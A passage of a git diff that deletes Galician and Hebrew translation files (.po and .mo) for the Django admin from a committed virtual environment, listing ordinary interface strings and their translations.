"Usuario" - -msgid "Action" -msgstr "Acción" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "entrada" -msgstr[1] "entradas" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Este obxecto non ten histórico de cambios. Posibelmente non se creou usando " -"este sitio de administración." - -msgid "Show all" -msgstr "Amosar todo" - -msgid "Save" -msgstr "Gardar" - -msgid "Popup closing…" -msgstr "Pechando popup…" - -msgid "Search" -msgstr "Busca" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s resultado. " -msgstr[1] "%(counter)s resultados." - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s en total" - -msgid "Save as new" -msgstr "Gardar como novo" - -msgid "Save and add another" -msgstr "Gardar e engadir outro" - -msgid "Save and continue editing" -msgstr "Gardar e seguir modificando" - -msgid "Save and view" -msgstr "Gardar e ver" - -msgid "Close" -msgstr "Pechar" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Cambiar %(model)s seleccionado" - -#, python-format -msgid "Add another %(model)s" -msgstr "Engadir outro %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Eliminar %(model)s seleccionado" - -#, python-format -msgid "View selected %(model)s" -msgstr "Ver %(model)s seleccionado" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Grazas polo tempo que dedicou ao sitio web." - -msgid "Log in again" -msgstr "Entrar de novo" - -msgid "Password change" -msgstr "Cambiar o contrasinal" - -msgid "Your password was changed." -msgstr "Cambiouse o seu contrasinal." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Por razóns de seguridade, introduza o contrasinal actual, e despois " -"introduza o novo contrasinal dúas veces para verificar que o escribiu " -"correctamente." - -msgid "Change my password" -msgstr "Cambiar o contrasinal" - -msgid "Password reset" -msgstr "Recuperar o contrasinal" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" -"A túa clave foi gardada.\n" -"Xa podes entrar." - -msgid "Password reset confirmation" -msgstr "Confirmación de reseteo da contrasinal" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Por favor insira a súa contrasinal dúas veces para que podamos verificar se " -"a escribiu correctamente." - -msgid "New password:" -msgstr "Contrasinal novo:" - -msgid "Confirm password:" -msgstr "Confirmar contrasinal:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"A ligazón de reseteo da contrasinal non é válida, posiblemente porque xa foi " -"usada. Por favor pida un novo reseteo da contrasinal." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Acabamos de enviarlle as instrucións para configurar o contrasinal ao " -"enderezo de email que nos indicou. Debería recibilas axiña." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Se non recibe un email, por favor asegúrese de que escribiu a dirección ca " -"que se rexistrou, e comprobe a carpeta de spam." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Recibe este email porque solicitou restablecer o contrasinal para a súa " -"conta de usuario en %(site_name)s" - -msgid "Please go to the following page and choose a new password:" -msgstr "Por favor vaia á seguinte páxina e elixa una nova contrasinal:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "No caso de que o esquecese, o seu nome de usuario é:" - -msgid "Thanks for using our site!" -msgstr "Grazas por usar o noso sitio web!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "O equipo de %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Esqueceu o contrasinal? Insira o seu enderezo de email embaixo e " -"enviarémoslle as instrucións para configurar un novo." - -msgid "Email address:" -msgstr "Enderezo de correo electrónico:" - -msgid "Reset my password" -msgstr "Recuperar o meu contrasinal" - -msgid "Select all objects on this page for an action" -msgstr "Seleccione tódolos obxetos desta páxina para unha acción" - -msgid "All dates" -msgstr "Todas as datas" - -#, python-format -msgid "Select %s" -msgstr "Seleccione un/unha %s" - -#, python-format -msgid "Select %s to change" -msgstr "Seleccione %s que modificar" - -#, python-format -msgid "Select %s to view" -msgstr "Seleccione %s para ver" - -msgid "Date:" -msgstr "Data:" - -msgid "Time:" -msgstr "Hora:" - -msgid "Lookup" -msgstr "Procurar" - -msgid "Currently:" -msgstr "Actualmente:" - -msgid "Change:" -msgstr "Modificar:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/gl/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/gl/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 0fcb774a..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/gl/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/gl/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/gl/LC_MESSAGES/djangojs.po deleted file mode 100644 index b414adc8..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/gl/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,329 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# fasouto , 2011 -# fonso , 2011,2013 -# Jannis Leidel , 2011 -# Leandro Regueiro , 2013 -# X Bello , 2023 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 15:04-0300\n" -"PO-Revision-Date: 2023-12-04 07:59+0000\n" -"Last-Translator: X Bello , 2023\n" -"Language-Team: Galician (http://app.transifex.com/django/django/language/" -"gl/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: gl\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s dispoñíbeis" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Esta é unha lista de %s dispoñíbeis. Pode escoller algúns seleccionándoos na " -"caixa inferior e a continuación facendo clic na frecha \"Escoller\" situada " -"entre as dúas caixas." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Escriba nesta caixa para filtrar a lista de %s dispoñíbeis." - -msgid "Filter" -msgstr "Filtro" - -msgid "Choose all" -msgstr "Escoller todo" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Prema para escoller todos/as os/as '%s' dunha vez." - -msgid "Choose" -msgstr "Escoller" - -msgid "Remove" -msgstr "Retirar" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s escollido/a(s)" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Esta é a lista de %s escollidos/as. Pode eliminar algúns seleccionándoos na " -"caixa inferior e a continuación facendo clic na frecha \"Eliminar\" situada " -"entre as dúas caixas." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Escriba nesta caixa para filtrar a lista de %s seleccionados." - -msgid "Remove all" -msgstr "Retirar todos" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Faga clic para eliminar da lista todos/as os/as '%s' escollidos/as." - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s opción seleccionada non visible" -msgstr[1] "%s opcións seleccionadas non visibles" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s de %(cnt)s escollido" -msgstr[1] "%(sel)s de %(cnt)s escollidos" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Tes cambios sen guardar en campos editables individuales. Se executas unha " -"acción, os cambios non gardados perderanse." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Escolleu unha acción, pero aínda non gardou os cambios nos campos " -"individuais. Prema OK para gardar. Despois terá que volver executar a acción." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Escolleu unha acción, pero aínda non gardou os cambios nos campos " -"individuais. Probablemente estea buscando o botón Ir no canto do botón " -"Gardar." - -msgid "Now" -msgstr "Agora" - -msgid "Midnight" -msgstr "Medianoite" - -msgid "6 a.m." -msgstr "6 da mañá" - -msgid "Noon" -msgstr "Mediodía" - -msgid "6 p.m." -msgstr "6 da tarde" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Nota: Está %s hora por diante da hora do servidor." -msgstr[1] "Nota: Está %s horas por diante da hora do servidor." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Nota: Está %s hora por detrás da hora do servidor." -msgstr[1] "Nota: Está %s horas por detrás da hora do servidor." - -msgid "Choose a Time" -msgstr "Escolla unha Hora" - -msgid "Choose a time" -msgstr "Escolla unha hora" - -msgid "Cancel" -msgstr "Cancelar" - -msgid "Today" -msgstr "Hoxe" - -msgid "Choose a Date" -msgstr "Escolla unha Data" - -msgid "Yesterday" -msgstr "Onte" - -msgid "Tomorrow" -msgstr "Mañá" - -msgid "January" -msgstr "Xaneiro" - -msgid "February" -msgstr "Febreiro" - -msgid "March" -msgstr "Marzo" - -msgid "April" -msgstr "Abril" - -msgid "May" -msgstr "Maio" - -msgid "June" -msgstr "Xuño" - -msgid "July" -msgstr "Xullo" - -msgid "August" -msgstr "Agosto" - -msgid "September" -msgstr "Setembro" - -msgid "October" -msgstr "Outubro" - -msgid "November" -msgstr "Novembro" - -msgid "December" -msgstr "Decembro" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Xan" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Feb" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Mar" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Abr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Maio" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Xuñ" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Xul" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Ago" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Set" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Out" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Dec" - -msgid "Sunday" -msgstr "Domingo" - -msgid "Monday" -msgstr "Luns" - -msgid "Tuesday" -msgstr "Martes" - -msgid "Wednesday" -msgstr "Mércores" - -msgid "Thursday" -msgstr "Xoves" - -msgid "Friday" -msgstr "Venres" - -msgid "Saturday" -msgstr "Sábado" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "Domingo" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "Lun" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "Mar" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "Mér" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "Xov" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "Ven" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "Sáb" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "D" - -msgctxt "one letter Monday" -msgid "M" -msgstr "L" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "M" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "M" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "X" - -msgctxt "one letter Friday" -msgid "F" -msgstr "V" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" - -msgid "Show" -msgstr "Amosar" - -msgid "Hide" -msgstr "Esconder" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/he/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/he/LC_MESSAGES/django.mo deleted file mode 100644 index 57f340c4..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/he/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/he/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/he/LC_MESSAGES/django.po deleted file mode 100644 index bb854024..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/he/LC_MESSAGES/django.po +++ /dev/null @@ -1,780 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# 534b44a19bf18d20b71ecc4eb77c572f_db336e9 , 2011 -# Jannis Leidel , 2011 -# Meir Kriheli , 2011-2015,2017,2019-2020,2023,2025 -# Menachem G., 2021 -# Yaron Shahrabani , 2020-2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Meir Kriheli , " -"2011-2015,2017,2019-2020,2023,2025\n" -"Language-Team: Hebrew (http://app.transifex.com/django/django/language/he/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: he\n" -"Plural-Forms: nplurals=4; plural=(n == 1 && n % 1 == 0) ? 0 : (n == 2 && n % " -"1 == 0) ? 1: (n % 10 == 0 && n % 1 == 0 && n > 10) ? 2 : 3;\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "מחק %(verbose_name_plural)s שנבחרו" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s נמחקו בהצלחה." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "לא ניתן למחוק %(name)s" - -msgid "Delete multiple objects" -msgstr "מחק כמה פריטים" - -msgid "Administration" -msgstr "ניהול" - -msgid "All" -msgstr "הכול" - -msgid "Yes" -msgstr "כן" - -msgid "No" -msgstr "לא" - -msgid "Unknown" -msgstr "לא ידוע" - -msgid "Any date" -msgstr "כל תאריך" - -msgid "Today" -msgstr "היום" - -msgid "Past 7 days" -msgstr "בשבוע האחרון" - -msgid "This month" -msgstr "החודש" - -msgid "This year" -msgstr "השנה" - -msgid "No date" -msgstr "ללא תאריך" - -msgid "Has date" -msgstr "עם תאריך" - -msgid "Empty" -msgstr "ריק" - -msgid "Not empty" -msgstr "לא ריק" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"נא להזין את %(username)s והסיסמה הנכונים לחשבון איש צוות. נא לשים לב כי שני " -"השדות רגישים לאותיות גדולות/קטנות." - -msgid "Action:" -msgstr "פעולה" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "הוספת %(verbose_name)s" - -msgid "Remove" -msgstr "להסיר" - -msgid "Addition" -msgstr "הוספה" - -msgid "Change" -msgstr "שינוי" - -msgid "Deletion" -msgstr "מחיקה" - -msgid "action time" -msgstr "זמן פעולה" - -msgid "user" -msgstr "משתמש" - -msgid "content type" -msgstr "סוג תוכן" - -msgid "object id" -msgstr "מזהה אובייקט" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "ייצוג אובייקט" - -msgid "action flag" -msgstr "דגל פעולה" - -msgid "change message" -msgstr "הערה לשינוי" - -msgid "log entry" -msgstr "רישום יומן" - -msgid "log entries" -msgstr "רישומי יומן" - -#, python-format -msgid "Added “%(object)s”." -msgstr "„%(object)s” נוסף." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "בוצע שינוי \"%(object)s\" — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "„%(object)s” נמחקו." - -msgid "LogEntry Object" -msgstr "אובייקט LogEntry" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "בוצעה הוספת {name} “{object}”." - -msgid "Added." -msgstr "נוסף." - -msgid "and" -msgstr "ו" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "בוצע שינוי {fields} עבור {name} “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr " {fields} שונו." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "בוצעה מחיקת {name} “{object}”." - -msgid "No fields changed." -msgstr "אף שדה לא השתנה." - -msgid "None" -msgstr "ללא" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "יש להחזיק \"Control\" או \"Command\" במק, כדי לבחור יותר מאחד." - -msgid "Select this object for an action - {}" -msgstr "בחירת אובייקט זה עבור פעולה - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "הוספת {name} “{obj}” בוצעה בהצלחה." - -msgid "You may edit it again below." -msgstr "ניתן לערוך שוב מתחת." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "הוספת {name} “{obj}” בוצעה בהצלחה. ניתן להוסיף עוד {name} מתחת." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "שינוי {name} “{obj}” בוצע בהצלחה. ניתן לערוך שוב מתחת." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "עדכון {name} \"{obj}\" בוצע בהצלחה. ניתן להוסיף עוד {name} מתחת." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "שינוי {name} \"{obj}\" בוצע בהצלחה." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "יש לסמן פריטים כדי לבצע עליהם פעולות. לא שונו פריטים." - -msgid "No action selected." -msgstr "לא נבחרה פעולה." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "מחיקת %(name)s “%(obj)s” בוצעה בהצלחה." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s עם ID \"%(key)s\" לא במצאי. אולי זה נמחק?" - -#, python-format -msgid "Add %s" -msgstr "הוספת %s" - -#, python-format -msgid "Change %s" -msgstr "שינוי %s" - -#, python-format -msgid "View %s" -msgstr "צפיה ב%s" - -msgid "Database error" -msgstr "שגיאת בסיס נתונים" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "שינוי %(count)s %(name)s בוצע בהצלחה." -msgstr[1] "שינוי %(count)s %(name)s בוצע בהצלחה." -msgstr[2] "שינוי %(count)s %(name)s בוצע בהצלחה." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s נבחר" -msgstr[1] "כל ה־%(total_count)s נבחרו" -msgstr[2] "כל ה־%(total_count)s נבחרו" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 מ %(cnt)s נבחרים" - -msgid "Delete" -msgstr "מחיקה" - -#, python-format -msgid "Change history: %s" -msgstr "היסטוריית שינוי: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"מחיקת %(class_name)s %(instance)s תדרוש מחיקת האובייקטים הקשורים והמוגנים " -"הבאים: %(related_objects)s" - -msgid "Django site admin" -msgstr "ניהול אתר Django" - -msgid "Django administration" -msgstr "ניהול Django" - -msgid "Site administration" -msgstr "ניהול אתר" - -msgid "Log in" -msgstr "כניסה" - -#, python-format -msgid "%(app)s administration" -msgstr "ניהול %(app)s" - -msgid "Page not found" -msgstr "דף לא קיים" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "אנו מתנצלים, העמוד המבוקש אינו קיים." - -msgid "Home" -msgstr "דף הבית" - -msgid "Server error" -msgstr "שגיאת שרת" - -msgid "Server error (500)" -msgstr "שגיאת שרת (500)" - -msgid "Server Error (500)" -msgstr "שגיאת שרת (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"התרחשה שגיאה. היא דווחה למנהלי האתר בדוא\"ל ותתוקן בקרוב. תודה על סבלנותך." - -msgid "Run the selected action" -msgstr "הפעל את הפעולה שבחרת בה." - -msgid "Go" -msgstr "בצע" - -msgid "Click here to select the objects across all pages" -msgstr "לחיצה כאן תבחר את האובייקטים בכל העמודים" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "בחירת כל %(total_count)s ה־%(module_name)s" - -msgid "Clear selection" -msgstr "איפוס בחירה" - -msgid "Breadcrumbs" -msgstr "פירורי לחם" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "מודלים ביישום %(name)s" - -msgid "Model name" -msgstr "" - -msgid "Add link" -msgstr "" - -msgid "Change or view list link" -msgstr "" - -msgid "Add" -msgstr "הוספה" - -msgid "View" -msgstr "צפיה" - -msgid "You don’t have permission to view or edit anything." -msgstr "אין לך כלל הרשאות צפיה או עריכה." - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "" - -msgid "Error:" -msgstr "" - -msgid "Change password" -msgstr "שינוי סיסמה" - -msgid "Set password" -msgstr "קביעת סיסמה" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "נא לתקן את השגיאה מתחת." -msgstr[1] "נא לתקן את השגיאות מתחת." -msgstr[2] "נא לתקן את השגיאות מתחת." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "יש להזין סיסמה חדשה עבור המשתמש %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"פעולה זו תאפשר אימות מבוסס סיסמה עבור משתמש זה.\n" -" " - -msgid "Disable password-based authentication" -msgstr "השבת אימות מבוסס סיסמה" - -msgid "Enable password-based authentication" -msgstr "אפשר אימות מבוסס סיסמה" - -msgid "Skip to main content" -msgstr "דילוג לתוכן העיקרי" - -msgid "Welcome," -msgstr "שלום," - -msgid "View site" -msgstr "צפיה באתר" - -msgid "Documentation" -msgstr "תיעוד" - -msgid "Log out" -msgstr "יציאה" - -#, python-format -msgid "Add %(name)s" -msgstr "הוספת %(name)s" - -msgid "History" -msgstr "היסטוריה" - -msgid "View on site" -msgstr "צפיה באתר" - -msgid "Filter" -msgstr "סינון" - -msgid "Hide counts" -msgstr "הסתרת ספירות" - -msgid "Show counts" -msgstr "הצגת ספירות" - -msgid "Clear all filters" -msgstr "ניקוי כל הסינונים" - -msgid "Remove from sorting" -msgstr "הסרה ממיון" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "עדיפות מיון: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "החלף כיוון מיון" - -msgid "Toggle theme (current theme: auto)" -msgstr "החלפת ערכת נושא (נוכחית: אוטומטית)" - -msgid "Toggle theme (current theme: light)" -msgstr "החלפת ערכת נושא (נוכחית: בהירה)" - -msgid "Toggle theme (current theme: dark)" -msgstr "החלפת ערכת נושא (נוכחית: כהה)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"מחיקת %(object_name)s '%(escaped_object)s' מצריכה מחיקת אובייקטים מקושרים, " -"אך לחשבון שלך אין הרשאות למחיקת סוגי האובייקטים הבאים:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"מחיקת ה%(object_name)s '%(escaped_object)s' תדרוש מחיקת האובייקטים הקשורים " -"והמוגנים הבאים:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"האם ברצונך למחוק את %(object_name)s \"%(escaped_object)s\"? כל הפריטים " -"הקשורים הבאים יימחקו:" - -msgid "Objects" -msgstr "אובייקטים" - -msgid "Yes, I’m sure" -msgstr "כן, בבטחה" - -msgid "No, take me back" -msgstr "לא, קח אותי חזרה." - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"מחיקת ב%(objects_name)s הנבחרת תביא במחיקת אובייקטים קשורים, אבל החשבון שלך " -"אינו הרשאה למחוק את הסוגים הבאים של אובייקטים:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"מחיקת ה%(objects_name)s אשר סימנת תדרוש מחיקת האובייקטים הקשורים והמוגנים " -"הבאים:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"האם אתה בטוח שאתה רוצה למחוק את ה%(objects_name)s הנבחר? כל האובייקטים הבאים " -"ופריטים הקשורים להם יימחקו:" - -msgid "Delete?" -msgstr "מחיקה ?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " לפי %(filter_title)s " - -msgid "Summary" -msgstr "סיכום" - -msgid "Recent actions" -msgstr "פעולות אחרונות" - -msgid "My actions" -msgstr "הפעולות שלי" - -msgid "None available" -msgstr "לא נמצאו" - -msgid "Added:" -msgstr "נוספו:" - -msgid "Changed:" -msgstr "שונו:" - -msgid "Deleted:" -msgstr "נמחקו:" - -msgid "Unknown content" -msgstr "תוכן לא ידוע" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"משהו שגוי בהתקנת בסיס הנתונים שלך. יש לוודא יצירת הטבלאות המתאימות וקיום " -"הרשאות קריאה על בסיס הנתונים עבור המשתמש המתאים." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"התחברת בתור %(username)s, אך אין לך הרשאות גישה לעמוד זה. האם ברצונך להתחבר " -"בתור משתמש אחר?" - -msgid "Forgotten your login credentials?" -msgstr "" - -msgid "Toggle navigation" -msgstr "החלפת מצב סרגל ניווט" - -msgid "Sidebar" -msgstr "סרגל צד" - -msgid "Start typing to filter…" -msgstr "התחל להקליד כדי לסנן..." - -msgid "Filter navigation items" -msgstr "סנן פריטי ניווט" - -msgid "Date/time" -msgstr "תאריך/שעה" - -msgid "User" -msgstr "משתמש" - -msgid "Action" -msgstr "פעולה" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "רשומה" -msgstr[1] "רשומה" -msgstr[2] "רשומות" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "לאובייקט זה אין היסטוריית שינויים. כנראה לא נוסף דרך ממשק הניהול." - -msgid "Show all" -msgstr "הצג הכל" - -msgid "Save" -msgstr "שמירה" - -msgid "Popup closing…" -msgstr "חלון צץ נסגר..." - -msgid "Search" -msgstr "חיפוש" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "תוצאה %(counter)s" -msgstr[1] "%(counter)s תוצאות" -msgstr[2] "%(counter)s תוצאות" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s סה\"כ" - -msgid "Save as new" -msgstr "שמירה כחדש" - -msgid "Save and add another" -msgstr "שמירה והוספת אחר" - -msgid "Save and continue editing" -msgstr "שמירה והמשך עריכה" - -msgid "Save and view" -msgstr "שמירה וצפיה" - -msgid "Close" -msgstr "סגירה" - -#, python-format -msgid "Change selected %(model)s" -msgstr "שינוי %(model)s הנבחר." - -#, python-format -msgid "Add another %(model)s" -msgstr "הוספת %(model)s נוסף." - -#, python-format -msgid "Delete selected %(model)s" -msgstr "מחיקת %(model)s הנבחר." - -#, python-format -msgid "View selected %(model)s" -msgstr "צפיה ב%(model)s אשר נבחרו." - -msgid "Thanks for spending some quality time with the web site today." -msgstr "תודה על בילוי זמן איכות עם האתר." - -msgid "Log in again" -msgstr "התחבר/י שוב" - -msgid "Password change" -msgstr "שינוי סיסמה" - -msgid "Your password was changed." -msgstr "סיסמתך שונתה." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"נא להזין את הססמה הישנה שלך, למען האבטחה, ולאחר מכן את הססמה החדשה שלך " -"פעמיים כדי שנוכל לוודא שהקלדת אותה נכון." - -msgid "Change my password" -msgstr "שנה את סיסמתי" - -msgid "Password reset" -msgstr "איפוס סיסמה" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "ססמתך נשמרה. כעת ניתן להתחבר." - -msgid "Password reset confirmation" -msgstr "אימות איפוס סיסמה" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "נא להזין את סיסמתך החדשה פעמיים כדי שנוכל לוודא שהקלדת אותה כראוי." - -msgid "New password:" -msgstr "סיסמה חדשה:" - -msgid "Confirm password:" -msgstr "אימות סיסמה:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"הקישור לאיפוס הסיסמה אינו חוקי. ייתכן והשתמשו בו כבר. נא לבקש איפוס סיסמה " -"חדש." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you 